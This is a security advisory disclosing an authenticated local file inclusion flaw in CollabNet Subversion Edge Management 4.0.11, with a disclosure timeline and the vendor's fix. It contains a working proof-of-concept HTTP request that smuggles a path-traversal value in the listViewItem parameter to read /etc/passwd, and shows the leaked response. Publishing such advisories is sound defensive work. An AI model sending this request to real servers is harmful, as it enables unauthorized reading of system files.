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CollabNet Subversion Edge Management listViewItem LFI

CollabNet Subversion Edge Management listViewItem LFI
Posted Jun 30, 2015
Authored by otr

The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "listViewItem" parameter of the "index" action. Fixed in version 5.0. Version 4.0.11 is affected.

tags | exploit, arbitrary, local, file inclusion
SHA-256 | 056057c0fb271eb7d3df3d949644529069ad9b220d3cea13dac2b89f6483c3e0

CollabNet Subversion Edge Management listViewItem LFI

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# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via logfile "listViewItem" parameter of the "index" action
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "listViewItem" parameter of the "index"
action

Vulnerability:

Request:
POST /csvn/repo/index HTTP/1.1
Host: example.com:4434
[...]

id=1&datatable_length=10&listViewItem_../../../../../../etc/passwd=on&_confirmDialogText_copyHook=&_confirmDialogText_renameHook=&_action_downloadHook=Download

Response:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-disposition: attachment;filename="../../../../../../etc/passwd"
Content-Length: 1825

root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the "listViewItem" parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.
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